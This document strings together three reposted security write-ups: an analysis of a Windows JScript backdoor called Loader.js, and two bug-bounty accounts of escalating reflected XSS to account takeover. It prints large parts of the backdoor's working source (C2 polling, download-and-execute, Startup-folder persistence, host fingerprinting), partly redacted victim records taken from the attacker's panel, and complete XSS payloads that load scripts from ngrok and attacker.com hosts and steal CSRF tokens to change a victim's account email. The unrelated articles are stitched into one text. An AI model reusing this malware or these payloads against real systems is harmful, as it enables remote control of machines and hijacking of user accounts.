Threat Actor: Unkown

Threat Actor: Unkown

Original text by marcoramilli

Today I’d like to share a quick analysis on a quite new and unknown threat spotted in the wild. The file which grabbed my attention is called 

Loader.js
 (md5: 
59a03086db5ebd33615b819a7c3546a5
) and if you wish you can download it from Yomi. A very similar (or maybe the same) threat has been observed in the past months from the @MalwareHunterTeam which published the following Tweet about it. Despite the nice tweet, the thread ended up without any further action or attribution (at least in my understanding).

https://twitter.com/malwrhunterteam/status/1255907032944775171/photo/1?ref_src=twsrc%5Etfw%7Ctwcamp%5Etweetembed%7Ctwterm%5E1255907032944775171%7Ctwgr%5E%7Ctwcon%5Es1_&ref_url=https%3A%2F%2Fmarcoramilli.com%2F2020%2F11%2F27%2Fthreat-actor-unkown%2F

So I decided to share some little knowledge about this sample and about the infrastructure on its back-end. The purpose of my post is to take a closer look to such a threat, without pretending to attribute or to name it.

Analysis

The Javascript code is quite lean and it is shared in a clear text. No obfuscation techniques were involved in the current sample. The code is commented and the used syntax is punctual without contradictions during the file. Spaces, brackets, loops and variable assignments are clear, unique and always respectful of the file standards. Again no contradictions on syntax suggests the developer was an unique person which wrote the entire code without reuse or team swapping (or at least he spent much time to unify the syntax, which usually it makes not such a sense in the offensive world). The following code is a simple snip of what I meant by lean and respectful code syntax


// Loader version
var version = "OLD";

// Server
var server = "hxxp://93 .115. 21 .62/server/gate.php"; #modified by the blog author to avoid involuntary clik

// Interval between knocks in seconds
var interval = 181;

// How many times repeat failed task
var attemptsCount = 3;

// Status of running loader
var status = "Active";
// Path for download files
var wss = new ActiveXObject('WScript.Shell');
var defaultPath = wss.ExpandEnvironmentStrings('%APPDATA%');
var scriptFullPath = WScript.ScriptFullName;
var scriptName = WScript.ScriptName;
var fakeAutorunName = "MicrosoftOneDrive";
var shellObj = WScript.createObject("WScript.Shell");

// Connecting JSON module
ImportJSON();

// Collecting PC information
var clientInfo = GetClientInfo();

// Adding script to autorun

// Starting loader
while (status == "Active") {
    DoTasks(SendClientInfo());
    WScript.sleep(interval * 1000);
    DoTasks(SendKnock());
}

Initial section of the analyzed source code

The Javascript is made for acting in a Microsoft Windows environment, indeed it use classic execution techniques such as 

ActiveXObjec
t running 
WScript.Shell
 against the victim system. The script per-se does not present innovative ways to execute code on machine and it looks like a quite simple but still effective software.

Main loop

The 

Javascript
 has a main loop to guarantee the correct execution. It is really straight forward by meaning it sends client information to command and control, it sleeps some seconds and finally it performs some tasks coming back from C2.


while (status == "Active") {
 DoTasks(SendClientInfo());
 WScript.sleep(interval * 1000);
 DoTasks(SendKnock());
}

Loader.js Main Loop

Both of the functions 

SendClientInfo()
 and 
SendKnock()
 have same styles. For example both of them instantiate a 
response
 variable which is returned and interpreted by 
DoTasks
 function.


function SendClientInfo() {
    var response;
    try {
        var WinHttpReq = new ActiveXObject("WinHttp.WinHttpRequest.5.1");
        var temp = WinHttpReq.Open("POST", server, false);
        WinHttpReq.SetRequestHeader("Content-Type", "application/json");
        WinHttpReq.SetRequestHeader("mode", "info");
        WinHttpReq.SetRequestHeader("uuid", clientInfo["uuid"]);
        WinHttpReq.SetRequestHeader("version", version);
        WinHttpReq.Send(JSON.stringify(clientInfo));
        WinHttpReq.WaitForResponse();
        response = WinHttpReq.ResponseText;
    } catch (objError) {
        response = objError + "\n"
        response += "WinHTTP returned error: " +
            (objError.number & 0xFFFF).toString() + "\n\n";
        response += objError.description;
    }
    return response;
}

function SendKnock() {
    var response;
    try {
        var WinHttpReq = new ActiveXObject("WinHttp.WinHttpRequest.5.1");
        var temp = WinHttpReq.Open("POST", server, false);
        WinHttpReq.SetRequestHeader("Accept", "application/json");
        WinHttpReq.SetRequestHeader("mode", "knock");
        WinHttpReq.SetRequestHeader("uuid", clientInfo["uuid"]);
        WinHttpReq.SetRequestHeader("version", version);
        WinHttpReq.Send();
        WinHttpReq.WaitForResponse();
        response = WinHttpReq.ResponseText;
    } catch (objError) {
        response = objError + "\n"
        response += "WinHTTP returned error: " +
            (objError.number & 0xFFFF).toString() + "\n\n";
        response += objError.description;
    }
    return response;
}

Very Clear Style, it looks like the TA won’t use false flags at all or messing around different code styles to emulate code reuse. The entire code looks like be a brand new code base, developed from scratch since no matches have been found.

C2 Communication

The command and control communication is made by the polling loop. The main loop periodically sends to C2 the client information and later it “knocks” to the server which sets up a response piggybacking a specific task to be performed on the victim. The following 

switch
 selector performs a simple — but still effective — backdoor, executing tasks on victims. The framework presents drop and execute capabilities, execution capabilities, assigned task monitoring and kill capabilities for blocking running taks.


       while ( (attempts > 0) && (result != 'True') ) {
            switch (tasks[task]["type"]) {
                case "Download & Execute":
                    result = DownloadAndExecute(tasks[task]["content"]);
                    if (result == 'False')
                        details = "Error: download or executing file failed";
                    break;
                case "Execute":
                    result = Execute(tasks[task]["content"]);
                    if (result == 'False')
                        details = "Error: executing file failed";
                    break;
                case "Terminate":
                    status = "Stopped";
                    result = 'True';
                    break;
                default:
                    result = 'False';
                    details = "Error: unknown task type";
                    break;
            }
            if (result == 'False')
                attempts--;
            else
                details = "Success";
            SendTaskResult(tasks[task]["id"], result, details);
        }

Switch on 

task
 
type
 to perform actions on vitims

The most interesting functions (at least in my personal point of view) are the following ones: 

Download & Execute
 and 
Execute
. The first one is used to spread other post exploitation frameworks to gain a more sophisticated control on the machine; for example a remote shell or a direct RDP connection. The second selector (
Execute
) is used to merely execute pure commands on the victim, it could be very useful to make some manual lateral movements or specific researches on the infected machine

Interesting to see that the 

switch
 function is protected against exceptions but the developer decided to not manage exceptions at all. For example taking a look to the following raw

result = DownloadAndExecute(tasks[task]["content"]);


it’s clear that the malware developer assumes that 
content
 exists in the 
tasks[task]
 section. Indeed if it does not exist an exception is raised but none is managing it. This is another distinctive decision made by the malware developer, which could be useful to attribution.

But one of the most interesting piece of software is in the way the developer (ab)use the WMI to extract information from local environment. In specific case we see UUID extraction


   // Retrieve UUID
    try {
        var wmi = GetObject("winmgmts:{impersonationLevel=impersonate}!\\\\.\\root\\cimv2");
        for ( var i=new Enumerator(wmi.ExecQuery("SELECT * FROM Win32_ComputerSystemProduct"))
; !i.atEnd(); i.moveNext() )
        initInfo["uuid"] = i.item().UUID;
    } catch (err) {
        initInfo["uuid"] = 'N/A';
    }

IP extraction, this time basing on ipinfo.io


 // Retrieve client IP
    try {
        var ipReq = new ActiveXObject("WinHttp.WinHttpRequest.5.1");
        ipReq.Open("GET", "http://ipinfo.io/ip", false);
        ipReq.Send();
        ipReq.WaitForResponse();
        ipRes = ipReq.ResponseText;
        initInfo["ip"] = ipRes.replace(/^\s+|\s+$/g, '');
    } catch (err) {
        initInfo["ip"] = 'N/A';
    }

Country Extraction (based on IP)


    // Retrieve country
    try {
        var countryReq = new ActiveXObject("WinHttp.WinHttpRequest.5.1");
        countryReq.Open("GET", "http://ipinfo.io/country", false);
        countryReq.Send();
        countryReq.WaitForResponse();
        countryRes = countryReq.ResponseText;
        initInfo["location"] = countryRes.replace(/^\s+|\s+$/g, '');  
    } catch (err) {
        initInfo["location"] = 'N/A';
    }

OS Name Extraction


 // Retrieve OS name
    try {
        for ( var i=new Enumerator(wmi.ExecQuery("SELECT * FROM Win32_OperatingSystem")); !i.a
tEnd(); i.moveNext() )
        initInfo["os"] = i.item().Caption;
    } catch (err) {
        initInfo["os"] = 'N/A';
    }

User Name and his Role Extraction


// Retrieve User name
    try {
        var shellObj = new ActiveXObject("WScript.Shell");
        var netObj = new ActiveXObject("WScript.Network");
        initInfo["user"] = netObj.ComputerName + '/' + shellObj.ExpandEnvironmentStrings("%USERNAME%");
    } catch (err) {
        initInfo["user"] = 'N/A';
    }

    // Retrieve user role
    try {
        initInfo["role"] = "User";
        var groupObj = GetObject("WinNT://" + netObj.UserDomain + "/" + shellObj.ExpandEnvironmentStrings("%USERNAME%"))
        for (propObj in groupObj.Members)
            if (propObj.Name == "Administrators")
                initInfo["role"] = "Admin";
    } catch (err) {
        initInfo["role"] = 'N/A';
    }

Antivirus installed Software Extraction


// Retrieve antivirus info
    try {
        var wmiAV = GetObject("winmgmts:root\\SecurityCenter2");
        for ( var i=new Enumerator(wmiAV.ExecQuery("SELECT * FROM AntivirusProduct")); !i.atEnd(); i.moveNext() )
            if (!initInfo["antivirus"])
                initInfo["antivirus"] = i.item().displayName;    
    } catch (err) {
        initInfo["antivirus"] = 'N/A';
    }

CPU, GPU, RAM and Total Storage


    // Retrieve CPU name
    try {
        for ( var i=new Enumerator(wmi.ExecQuery("SELECT * FROM Win32_Processor")); !i.atEnd()
; i.moveNext() )
            initInfo["cpu"] = i.item().Name;
    } catch (err) {
        initInfo["cpu"] = 'N/A';
    }

    // Retrieve GPU name
    try {
        for ( var i=new Enumerator(wmi.ExecQuery("SELECT * FROM Win32_VideoController")); !i.a
tEnd(); i.moveNext() )
            initInfo["gpu"] = i.item().Name;
    } catch (err) {
        initInfo["gpu"] = 'N/A';
    }

    // Retrieve RAM
    try {
        var ramObj = WScript.CreateObject("Shell.Application");
        initInfo["ram"] = Math.round(ramObj.GetSystemInformation("PhysicalMemoryInstalled") /
1048576) + ' MB';
    } catch (err) {
        initInfo["ram"] = 'N/A';
    }
   
    // Retrieve total storage space
    try {
        var available = 0;
        var total = 0;
        for ( var i=new Enumerator(wmi.ExecQuery("SELECT * FROM Win32_LogicalDisk")); !i.atEnd(); i.moveNext() ) {
            if (i.item().Size != null) {
                available += (i.item().FreeSpace / 1024 / 1024 / 1024);
                total += (i.item().Size / 1024 / 1024 / 1024);
            }
        }
        initInfo["storage"] = Math.round(available) + ' / ' + Math.round(total) + ' GB';
    } catch (err) {
        initInfo["storage"] = '0 / 0 GB';
    }

Finally the attacker uses a 

net view
 to check if there are more PC on the network. If the function gets back some results, the attacker might decide to perform some manual lateral movements by introducing (through the download and execute command) a new Post exploitation framework.

Persistence

The framework persistence and installation is performed by a simple entry in the 

autorun
 regkey as performed by the following function


function AddToAutorun() {
    try {
        startupPath = defaultPath + '\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\';
        fsObj = WScript.CreateObject('Scripting.FileSystemObject');  
        fsObj.CopyFile(scriptFullPath, startupPath);
    } catch (err) { return; }
}

AutoRun And Persistence

The 

defaultPath
 variable is previously set to 
wss.ExpandEnvironmentStrings('%APPDATA%');
 so that the javascript is stored in the classic 
%APPDATA%
 folder which has the right user permissions and it gets executed on startup by the 
autorun
 registration.

External Resources

Another interesting point is in the way the attacker loads the external resources. In this script the developer uses the 

ImportJSON()
 which grabs the needed library online and then executes it through 
eval()
 statement. Again for the second time the attacker assumes that the library is reachable by the target PC, so the victim shall be placed in an environment where githubusercontent.com is not restricted. A simple way to block the execution of this loader in a wide infection scenario it would be to block the download of the json2.js library by filtering out the following url: 
<a href="https://raw.githubusercontent.com/douglascrockford/JSON-js/master/json2.js">https://raw.githubusercontent.com/douglascrockford/JSON-js/master/json2.js</a>


function ImportJSON() {
    var xObj = WSH.CreateObject('Microsoft.XMLHTTP'),
    fso = WSH.CreateObject('Scripting.FileSystemObject'),
    temp = WSH.CreateObject('WScript.Shell').Environment('Process')('temp'),
    j2lib = 'https://raw.githubusercontent.com/douglascrockford/JSON-js/master/json2.js'

    if (fso.FileExists(temp + '\\json2.js')) {
        j2lib = fso.OpenTextFile(temp + '\\json2.js', 1);
        eval(j2lib.ReadAll());
        j2lib.Close();
    }
    else {
        with (xObj) {
            open("GET", j2lib, true);
            setRequestHeader('User-Agent', 'XMLHTTP/1.0');
            send('');
        }

        while (xObj.readyState != 4) WSH.Sleep(50);
        eval(xObj.responseText);
        j2lib = fso.CreateTextFile(temp + '\\json2.js', true);
        j2lib.Write(xObj.responseText);
        j2lib.Close();
    }
}

Command And Control Web Panel

By taking a closer look to the Command and Control server, available at the following address: 

"hxxp://93 .115. 21 .62/server/
 ,we might see the attacker let the directory named 
server
 free to list its content. We can now enumerate the entire directory making some guess on how the Command and Control web panel would work.

C2 Server listing folder

Fortunately it looks like the panel does not check the login session correctly letting me free to query the single 

.php
 files even without any real credential. For example performing a simple 
HTTP
 
GET
 request to the 
drawAntivirusesChart.php
 we get the following result.


{
  "data": &#91;
    {
      "name": "AhnLab V3 Lite",
      "count": 1
    },
    {
      "name": "Windows Defender",
      "count": 3
    },
    {
      "name": "Quick Heal Internet Security",
      "count": 1
    },
    {
      "name": "N\\/A",
      "count": 1
    },
    {
      "name": "SecureAPlus Antivirus",
      "count": 1
    },
    {
      "name": "Emsisoft Anti-Malware",
      "count": 1
    },
    {
      "name": "Webroot SecureAnywhere",
      "count": 1
    }
  ]
}

So we are able to query the C2 and getting back results in order to estimate how wide is the current attack surface and how is the current victimology. So let’s start on understanding the attack range. It looks like the file 

printSummaryOverview.php
 would definitely help us in having a quick overview. So let’s query it and see how big the infection looks like.


{"online":0,"onlineToday":4,"onlineWeek":9,"onlineMonth":9,"newToday":4,"newWeek":9,"newMonth":9,"dead":0}

We have actually a super small set of victims, maybe because they have been selected or maybe because it is an early stage threat (I would bet on the second hypothesis). By querying the 

printTopCountries.php
 I would expect to see target areas, indeed if you remember the Loader.js it checks from ipinfo the target country and location.


{"data":&#91;&#91;"IN",2],&#91;"RU",1],&#91;"DE",3],&#91;"ES",1],&#91;"AZ",2]]}

Sweet ! Now, what if we can query, in the same way, the endpoint named 

printClients.php
 ? Will it be a kind of 
database dump
 with the entire victimology ? Yes it is !


{
  "draw": 0,
  "recordsTotal": 9,
  "recordsFiltered": 9,
  "data": &#91;
    {
      "id": "2",
      "uuid": "18D68C6D-OMISSIS by Author",
      "ip": "115.69.OMISSIS by Author",
      "location": "IN",
      "os": "Microsoft Windows 8.1 Enterprise Evaluation",
      "user": "IE11W OMISSIS by Author/IEUser",
      "role": "N\\/A",
      "antivirus": "AhnLab V3 Lite",
      "cpu": "AMD A6-6310 APU with AMD Radeon R4 Graphics ",
      "ram": "4096 MB",
      "storage": "312 \\/ 465 GB",
      "network": "0",
      "added": "2020-11-21 17:50:58",
      "seen": "2020-11-21 18:05:48",
      "version": "OLD"
    },
    {
      "id": "3",
      "uuid": "032E02B4-OMISSIS by Author",
      "ip": "185.107.1OMISSIS by Author",
      "location": "RU",
      "os": "\\u041c\\u0430\\u0439\\u043a\\u0440\\u043e\\u0441\\u043e\\u0444\\u0442 Windows 10 Pro",
      "user": "DESK OMISSIS by Author H5\\/Admin",
      "role": "User",
      "antivirus": "Windows Defender",
      "cpu": "AMD Ryzen 5 PRO 3400G with Radeon Vega Graphics",
      "ram": "14284 MB",
      "storage": "535 \\/ 1009 GB",
      "network": "0",
      "added": "2020-11-21 22:35:17",
      "seen": "2020-11-21 22:38:18",
      "version": "OLD"
    },
    {
      "id": "4",
      "uuid": "67CDDC1F - OMISSIS by Author",
      "ip": "94.114.OMISSIS by Author",
      "location": "DE",
      "os": "Microsoft Windows 10 Pro",
      "user": "NQ OMISSIS by Author D1HVy",
      "role": "N\\/A",
      "antivirus": "Windows Defender",
      "cpu": "Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz",
      "ram": "4096 MB",
      "storage": "487 \\/ 511 GB",
      "network": "0",
      "added": "2020-11-21 23:48:48",
      "seen": "2020-11-21 23:48:48",
      "version": "OLD"
    },
   
---- snip ----


  ],
  "debug": "SELECT `id`, `uuid`, `ip`, `location`, `os`, `user`, `role`, `antivirus`, `cpu`, `ram`, `storage`, `network`, `added`, `seen`, `version` FROM `clients` "
}

Quite interesting the debugging strings as well. They show us the database composition.

Unknown TA Dasboard

Conclusion

Escalating XSS to Account Takeover

Escalating XSS to Account Takeover

Original text by Aditya Verma

Hey guys, this writeup is about my first Reflected XSS and how I escalated it to account takeover.

I read many Bug Hunters implying on the fact that don’t submit a simple XSS, try to escalate it. I also would tell you to escalate as much as you can, if you give them a XSS and tell what a person can do with it, it does not shows the amount of impact as you would be able to show when you prove with how it would be done; this will increase the severity as well as your payout.

So, I was hunting on a subdomain of a private program say sub.example.com, I had been looking over this subdomain for few days and had understood almost every thing about how the things are working and what a simple person(normal account) can do.Now, I started looking for other files (which are directly not linked)in various directories of the site by directory and files fuzzing using FFUF. I found a file that looked interesting as it was a page to register (let’s name it sub.example.com/fakepath/register) and the main page that opened when someone clicked for registration was sub.example.com/fakepath/registration.

Confused Jon Stewart GIF - Find & Share on GIPHY

Now this felt like maybe this page was used earlier and then they changed things.So, as you must know that old and forgotten pages have more chances of bugs.

I ran Arjun to check for any hidden parameters and luckily found a few parameters that were being reflected back on the page.Out of those parameters 2 of them were filling in the input fields of the registration form.I send the request with first parameter and it filled the value supplied thorugh URL into the city input field.Sent the request to Burpsuite Repeater and tried basic XSS inputs.Sadly, it got html encoded ; I tried single URL encoding and double URL encoding, none worked and which made me move on to check other paratmeters.

Baby Reaction GIF - Find & Share on GIPHY

After trying almost every parameter recieved from Arjun I came back to the repeater tab of the earlier one, and just randomly gave another try with Triple URL encoding and guess what the quote(“) character passed on.

Happy You Good GIF - Find & Share on GIPHY

Made a simple payload to check 

<em>sub.example.com/fakepath/register?i=aditya%252522+onmouseover=alert(1)+x=%252522s</em>
I added x parameter at last to balance the quote that is being added by system. Hovered on city input field and it popped out. I checked on other parameter that was being reflected in another input field and it was also vulnerable to similar payload.I also noticed that the registration and register page are almost similar and gave a try on registration and yes both parameters were vulnerable at that page also.

Reported the Bug as medium severity and came back. Now, got the thought that try to escalate it as other people say.I was at first reluctant but since I had already checked for CSRF on various forms like edit account and much I thought since this can execute script why not fetch the account edit page with javascript which will come with CSRF token(in this case tokens) and then send the data back with email changed.

This took some time as I am not much of a developer but short time ago I had done a project with nodeJS. With little earlier familarity and lot googling I somehow put the jigsaw pieces aligned and the script was ready(I created this script on Firefox developer tools; Just incase anyone wanna know how to do it, the console panel allows running of javascript on webpage as it would have come along with the page).Hosted the script locally and used ngrok to create a tunnel to localhost.Used the following payload 

<em>sub.example.com/fakepath/register?i=aditya%252522+/%25253e%25253cscript+src%3d%252522https://my_ngrok_url/script.js%252522%25253e%25253c/script%25253e</em>

Here is the script:

let name=[];
let value=[];
fetch('https://sub.example.com/fakepath/accountchange.php?update=1')
.then(function(response) {
return response.text()
}).then(function (html) {// Convert the HTML string into a document object
var parser = new DOMParser();
var doc = parser.parseFromString(html, 'text/html');
//var forms=doc.forms[0];
//console.log(doc);
var element = doc.querySelectorAll('input[type="hidden"]');
//var name=[];
//var value=[];
for(var i=0; i<element.length;i++){
name.push(element[i].name);
value.push(element[i].value);
}
console.log(name,value,"\n");
}).catch(function (err) {
// There was an error
console.warn('Something went wrong.', err);
});
//////////////////////////////////////////////////////////////////////
function sendData( data ) {
const XHR = new XMLHttpRequest(),
FD = new FormData();
console.log(name,value);
// Push our data into our FormData object
for(var i=0;i<7;i++) {
console.log(FD);
FD.append( name[i],value[i] );
}
FD.append('lastname','a');
FD.append('name',"test");
FD.append('email','hellrider9+1@wearehackerone.com');
FD.append('Sumbit','Sumbit');
// Define what happens on successful data submission
XHR.addEventListener( 'load', function( event ) {
alert( 'Yeah! Data sent and response loaded.' );
} );// Define what happens in case of error
XHR.addEventListener(' error', function( event ) {
alert( 'Oops! Something went wrong.' );
} );// Set up our request
XHR.open( 'POST', 'https://sub.example.com/fakepath/accountchange.php?update=1' );// Send our FormData object; HTTP headers are set automatically
XHR.send( FD );
}setTimeout(sendData,7000);

If anyone wanna understand the code then you can directly contact me through Twitter, my handle is 0cirius0.

Coming back now this Reflected XSS became a high severity Account Takeover.

Weaponizing XSS For Fun & Profit

Weaponizing XSS For Fun & Profit

Original text by Saad Ahmed

Hi Folks! hope you all doing good so I am back with another amazing way of bypassing the WAF which is blocking me from weaponizing the XSS, Without wasting any time let get started.

The XSS part is very simple my input is reflecting inside the HREF in <a> e.g <a href=”https://example.com/home/leet”>Home</a>

Escaping from href is very simple my payload leet” onmouseover=alert(1)” now when I move my mouse over the link the XSS is popup this is very simple & basic.

It’s time to do something BIG!!! Now I am checking all the endpoints of the WebApp that disclosing the sensitive information which I can steal from XSS and show to impact to the TEAM, so after checking all the request I came to know that on every request there is CSRF TOKEN header is present, so I need to steal that token and then need to send the request using fetch to weaponize the XSS.

I tried to remove the CSRF TOKEN from the request & bang!! the request is sent without any error & the Account information is UPDATED. But when i tried to reproduce this by creating the HTML FORM the server give 403 missing CSRF TOKEN, after checking the request the matching all the headers I came to know that the dev done some short work ( JUGAR ) to prevent from CSRF is by checking the REFERER HEADER. If the request comes from example.com then they accept it else they give 403 with missing CSRF TOKEN.

I already have XSS so don’t need to worry about the Referer ✌️Simple send the below JQUERY POST req from the console just to verifying it & it worked.

$.post(“https://example.com/account/update_info/»,{name: “Account Update”},function(data,status){alert(“Data: “ + data + “\nStatus: “ + status);});

so my final payload that update the account information is.

leet” onmouseover=’$.post(`https://example.com/account/update_info/`,{name: `Account Update`},function(data,status){alert(`Data: ` + data + `Status: ` + status);});
‘“

The payload didn’t work. nowhere the SERVER is doing something bad the server is replacing the . with _ e.g example.com becomes example_com. I tried everything here encoding etc but didn’t work, so my mind clicked why not I simply call the JS file from the server but again I need to put my server URL which also contains the & the document.createElement() is also contain .

Image for post

for those who dont know we can also used the document.createElement() without . like this document[‘createElement’](‘script’)

Image for post

so the final code that call the JSCODE from attacker server is

document[‘createElement’](‘script’);a[‘setAttribute’](‘src’,’attacker.com/x.js’);document[‘head’][‘appendChild’](a);

String[‘fromCharCode’](100,111,99,117,109,101,110,116,91,39,99,114,101,97,116,101,69,108,101,109,101,110,116,39,93,40,39,115,99,114,105,112,116,39,41,97,91,39,115,101,116,65,116,116,114,105,98,117,116,101,39,93,40,39,115,114,99,39,44,39,97,116,116,97,99,107,101,114,46,99,111,109,47,120,46,106,115,39,41,59,100,111,99,117,109,101,110,116,91,39,104,101,97,100,39,93,91,39,97,112,112,101,110,100,67,104,105,108,100,39,93,40,97,41)

convert the creating the script tag into charCode beacase the server contain .

Image for post

When I Execute this from XSS the server encoding the [ ]. Sobypassing of . is useless 😠 I tried everything here bypassing the [ ] but nothing works. One of my friend told you can call script from SERVER without . & [ ] I was like tell me bruhh howww!!!

with(String){eval(fromCharCode(97,108,101,114,116,40,49,41))}

so we can use with and the return value of fromCharCode inside the eval to execute the string no need of . & [ ]

Image for post

The Final payload look like this

$.post(“https://example.com/account/update_info/»,{name: “Account Update”},function(data,status){alert(“Data: “ + data + “\nStatus: “ + status);});

converted into charCode

put he charCode value in the code look like this

with(String){eval(fromCharCode(36,46,112,111,115,116,40,34,104,116,116,112,115,58,47,47,109,105,120,112,97,110,101,108,46,99,111,109,47,97,99,99,111,117,110,116,47,117,112,100,97,116,101,95,110,97,109,101,47,34,44,123,101,109,97,105,108,58,32,34,115,104,103,51,51,107,64,103,109,97,105,108,46,99,111,109,34,125,44,102,117,110,99,116,105,111,110,40,100,97,116,97,44,115,116,97,116,117,115,41,123,99,111,110,115,111,108,101,46,108,111,103,40,34,68,97,116,97,58,32,34,32,43,32,100,97,116,97,32,43,32,34,92,110,83,116,97,116,117,115,58,32,34,32,43,32,115,116,97,116,117,115,41,59,125,41,59))}

Image for post

urlEncoded the above code and the final payload become

https://example.com/home/leet” onmouseover=’URLENCODED PAYLOAD’ “

send the above link to anyone & you can update his account, delete the account and many more action

The Program paid $400 for XSS and told me to submit new report for CSRF issue and they paid $1800 for CSRF and the TOTAL IS $2200

Image for post

This whole bypass and upgrading process done in 3 Days 🙌. I hope you guys learn something new here

./LOGOUT